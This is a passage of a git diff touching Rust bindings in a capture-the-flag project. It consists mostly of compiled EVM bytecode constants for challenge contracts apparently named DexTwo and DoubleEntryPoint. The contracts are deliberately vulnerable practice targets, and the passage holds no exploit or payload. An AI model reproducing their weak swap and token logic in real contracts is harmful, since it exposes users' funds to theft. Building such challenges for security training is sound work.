`@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xABW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xCF\x91\x90a\x08\xD8V[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\0\x900\x903\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\x1FW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06C\x91\x90a\x08\xD8V[PPPPPV[a\x06Ra\x07:V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x06\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xD1V[a\x06\xC0\x81a\x07\x94V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\rW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x071\x91\x90a\t\x01V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xF0W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xFBW`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\x13W`\0\x80\xFD[a\x08\x1C\x83a\x07\xE4V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08?W`\0\x80\xFD[a\x08H\x84a\x07\xE4V[\x92Pa\x08V` \x85\x01a\x07\xE4V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x08yW`\0\x80\xFD[a\x08\x82\x83a\x07\xE4V[\x91Pa\x08\x90` \x84\x01a\x07\xE4V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\x08\xABW`\0\x80\xFD[a\x071\x82a\x07\xE4V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x08\xEAW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x08\xFAW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\x13W`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x074WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\\WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \x97i\x06\xDC\xD0\xD7\x86O\x8AHE'\x8A\x1D \xAA%_k(\xF4\xD0\x8E\xF63t\xBDR\xDD\xCDO\xBEdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0qW\x80c\x8D\xA5\xCB[\x14a\x01/W\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80c&N\x88\x93\x14a\0\xF3W\x80cc[\xC0\xC2\x14a\x01\x06W\x80cqP\x18\xA6\x14a\x01'W[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\0V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\0V[a\x02oV[a\x01\x19a\x01\x146`\x04a\x08*V[a\x02\xEFV[`@Q\x90\x81R` \x01a\0\xEAV[a\0\xC1a\x03\xDEV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\0\xC1a\x01N6`\x04a\x08fV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08*V[a\x04(V[a\0\xC1a\x01\x876`\x04a\x08\x99V[a\x06JV[a\x01\x19a\x01\x9A6`\x04a\x08fV[a\x06\xC3V[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\x08\xB4V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07:V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\x08\xD8V[PPPV[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x036W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03Z\x91\x90a\t\x01V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\x9EW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xC2\x91\x90a\t\x01V[a\x03\xCC\x90\x84a\t\x1AV[a\x03\xD6\x91\x90a\t?V[\x94\x93PPPPV[a\x03\xE6a\x07:V[a\x03\xF0`\0a\x07\x94V[V[a\x03\xFAa\x07:V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x92\x91\x90a\t\x01V[\x10\x15a\x04\xDAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0a\x04\xE7\x84\x84\x84a\x02\xEFV[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\x1A\x903\x900\x90\x87\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x059W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05]\x91\x90a\x08\xD8V[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xABW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xCF\x91\x90a\x08\xD8V[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\0\x900\x903\x90\x86\x90`\x04\x01a\x08\xB4V[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\x1FW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06C\x91\x90a\x08\xD8V[PPPPPV[a\x06Ra\x07:V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x06\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xD1V[a\x06\xC0\x81a\x07\x94V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\rW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x071\x91\x90a\t\x01V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\xF0W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xD1V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xFBW`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\x13W`\0\x80\xFD[a\x08\x1C\x83a\x07\xE4V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08?W`\0\x80\xFD[a\x08H\x84a\x07\xE4V[\x92Pa\x08V` \x85\x01a\x07\xE4V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\x08yW`\0\x80\xFD[a\x08\x82\x83a\x07\xE4V[\x91Pa\x08\x90` \x84\x01a\x07\xE4V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\x08\xABW`\0\x80\xFD[a\x071\x82a\x07\xE4V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\x08\xEAW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x08\xFAW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\x13W`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x074WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\\WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \x8C\xA4bV\xC4\xA9\x9F\xCB\xB1D\xB6y\xFAQ\xAE Y\x83\xA0\xA1\xA8|@0\xEBa\xE6\x16\x98\x10p\xA0dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static DEXTWO_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/double_entry_point.rs b/ctf/src/abi/double_entry_point.rs index 6015ef0..2851023 100644 --- a/ctf/src/abi/double_entry_point.rs +++ b/ctf/src/abi/double_entry_point.rs @@ -655,12 +655,12 @@ pub mod double_entry_point { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Qb\0\x12^8\x03\x80b\0\x12^\x839\x81\x01`@\x81\x90Rb\0\x004\x91b\0\x02hV[`@Q\x80`@\x01`@R\x80`\x15\x81R` \x01\x7FDoubleEntryPointToken\0\0\0\0\0\0\0\0\0\0\0\x81RP`@Q\x80`@\x01`@R\x80`\x03\x81R` \x01b\x11\x11U`\xEA\x1B\x81RP\x81`\x03\x90\x81b\0\0\x97\x91\x90b\0\x03iV[P`\x04b\0\0\xA6\x82\x82b\0\x03iV[PPPb\0\0\xC3b\0\0\xBDb\0\x01*` \x1B` \x1CV[b\0\x01.V[`\x08\x80T`\x01`\x01`\xA0\x1B\x03\x80\x87\x16`\x01`\x01`\xA0\x1B\x03\x19\x92\x83\x16\x17\x90\x92U`\t\x80T\x85\x84\x16\x90\x83\x16\x17\x90U`\x07\x80T\x84\x84\x16\x90\x83\x16\x17\x90U`\x06\x80T\x92\x86\x16\x92\x90\x91\x16\x82\x17\x90Ub\0\x01 \x90h\x05k\xC7^-c\x10\0\0b\0\x01\x80V[PPPPb\0\x04]V[3\x90V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\x01\xDBW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\xEF\x91\x90b\0\x045V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02cW`\0\x80\xFD[\x91\x90PV[`\0\x80`\0\x80`\x80\x85\x87\x03\x12\x15b\0\x02\x7FW`\0\x80\xFD[b\0\x02\x8A\x85b\0\x02KV[\x93Pb\0\x02\x9A` \x86\x01b\0\x02KV[\x92Pb\0\x02\xAA`@\x86\x01b\0\x02KV[\x91Pb\0\x02\xBA``\x86\x01b\0\x02KV[\x90P\x92\x95\x91\x94P\x92PV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\xF0W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x03\x11WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x02FW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x03@WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03aW\x82\x81U`\x01\x01b\0\x03LV[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03\x85Wb\0\x03\x85b\0\x02\xC5V[b\0\x03\x9D\x81b\0\x03\x96\x84Tb\0\x02\xDBV[\x84b\0\x03\x17V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03\xD5W`\0\x84\x15b\0\x03\xBCWP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03aV[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x04\x06W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\xE5V[P\x85\x82\x10\x15b\0\x04%W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[\x80\x82\x01\x80\x82\x11\x15b\0\x04WWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[a\r\xF1\x80b\0\x04m`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x01!W`\x005`\xE0\x1C\x80cqP\x18\xA6\x11a\0\xADW\x80c\xA9\x05\x9C\xBB\x11a\0qW\x80c\xA9\x05\x9C\xBB\x14a\x02^W\x80c\xD4D\xD8\xA0\x14a\x02qW\x80c\xD8g\x0E\x1F\x14a\x02\x84W\x80c\xDDb\xED>\x14a\x02\x97W\x80c\xF2\xFD\xE3\x8B\x14a\x02\xAAW`\0\x80\xFD[\x80cqP\x18\xA6\x14a\x02\x15W\x80c\x8D\xA5\xCB[\x14a\x02\x1FW\x80c\x95\xD8\x9BA\x14a\x020W\x80c\x9C\xD1\xA1!\x14a\x028W\x80c\xA4W\xC2\xD7\x14a\x02KW`\0\x80\xFD[\x80c&\xFE\x99Q\x11a\0\xF4W\x80c&\xFE\x99Q\x14a\x01\x8CW\x80c1<\xE5g\x14a\x01\xB7W\x80c9P\x93Q\x14a\x01\xC6W\x80cH\xDB_\x89\x14a\x01\xD9W\x80cp\xA0\x821\x14a\x01\xECW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\x01&W\x80c\t^\xA7\xB3\x14a\x01DW\x80c\x18\x16\r\xDD\x14a\x01gW\x80c#\xB8r\xDD\x14a\x01yW[`\0\x80\xFD[a\x01.a\x02\xBDV[`@Qa\x01;\x91\x90a\x0B{V[`@Q\x80\x91\x03\x90\xF3[a\x01Wa\x01R6`\x04a\x0B\xDEV[a\x03OV[`@Q\x90\x15\x15\x81R` \x01a\x01;V[`\x02T[`@Q\x90\x81R` \x01a\x01;V[a\x01Wa\x01\x876`\x04a\x0C\nV[a\x03iV[`\x08Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01;V[`@Q`\x12\x81R` \x01a\x01;V[a\x01Wa\x01\xD46`\x04a\x0B\xDEV[a\x03\x8DV[`\x07Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x01\xFA6`\x04a\x0CKV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x02\x1Da\x03\xAFV[\0[`\x05T`\x01`\x01`\xA0\x1B\x03\x16a\x01\x9FV[a\x01.a\x03\xC3V[a\x01Wa\x02F6`\x04a\x0CoV[a\x03\xD2V[a\x01Wa\x02Y6`\x04a\x0B\xDEV[a\x06`V[a\x01Wa\x02l6`\x04a\x0B\xDEV[a\x06\xDBV[`\x06Ta\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\tTa\x01\x9F\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01ka\x02\xA56`\x04a\x0C\xB1V[a\x06\xE9V[a\x02\x1Da\x02\xB86`\x04a\x0CKV[a\x07\x14V[```\x03\x80Ta\x02\xCC\x90a\x0C\xEAV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xF8\x90a\x0C\xEAV[\x80\x15a\x03EW\x80`\x1F\x10a\x03\x1AWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03EV[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x03(W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03]\x81\x85\x85a\x07\x8DV[`\x01\x91PP[\x92\x91PPV[`\x003a\x03w\x85\x82\x85a\x08\xB1V[a\x03\x82\x85\x85\x85a\t+V[P`\x01\x94\x93PPPPV[`\x003a\x03]\x81\x85\x85a\x03\xA0\x83\x83a\x06\xE9V[a\x03\xAA\x91\x90a\r$V[a\x07\x8DV[a\x03\xB7a\n\xCFV[a\x03\xC1`\0a\x0B)V[V[```\x04\x80Ta\x02\xCC\x90a\x0C\xEAV[`\x08T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x14a\x04*W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13\x9B\xDD\x08\x1B\x19Y\xD8X\xDEH\x18\xDB\xDB\x9D\x1C\x98X\xDD`j\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\tT`\x07T`@QcO\x08A\xE5`\xE1\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\x04\x82\x01R`\0\x92\x91\x90\x91\x16\x90c\x9E\x10\x83\xCA\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04{W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04\x9F\x91\x90a\rEV[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x80\x84\x16`\x04\x83\x01R\x92\x93P`\0\x92\x90\x91\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x04\xEFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\x13\x91\x90a\rbV[`\tT`\x07T`@Qc>\x87\xF4\xA3`\xE2\x1B\x81R\x92\x93P`\x01`\x01`\xA0\x1B\x03\x91\x82\x16\x92c\xFA\x1F\xD2\x8C\x92a\x05N\x92\x16\x90`\0\x906\x90`\x04\x01a\r{V[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x05hW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x05|W=`\0\x80>=`\0\xFD[PPPPa\x05\x8B\x84\x87\x87a\t+V[`\tT`@Qc\x06\xE3\x81}`\xE5\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\x04\x83\x01R`\x01\x95P\x83\x92\x16\x90c\xDCp/\xA0\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\xD9W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xFD\x91\x90a\rbV[\x11\x15a\x06WW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FAlert has been triggered, revert`D\x82\x01Rbing`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[PP\x93\x92PPPV[`\x003\x81a\x06n\x82\x86a\x06\xE9V[\x90P\x83\x81\x10\x15a\x06\xCEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x03\x82\x82\x86\x86\x84\x03a\x07\x8DV[`\x003a\x03]\x81\x85\x85a\t+V[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x07\x1Ca\n\xCFV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07\x81W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[a\x07\x8A\x81a\x0B)V[PV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x07\xEFW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x08PW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x08\xBD\x84\x84a\x06\xE9V[\x90P`\0\x19\x81\x14a\t%W\x81\x81\x10\x15a\t\x18W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x04!V[a\t%\x84\x84\x84\x84\x03a\x07\x8DV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\t\x8FW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\t\xF1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\niW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x04!V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 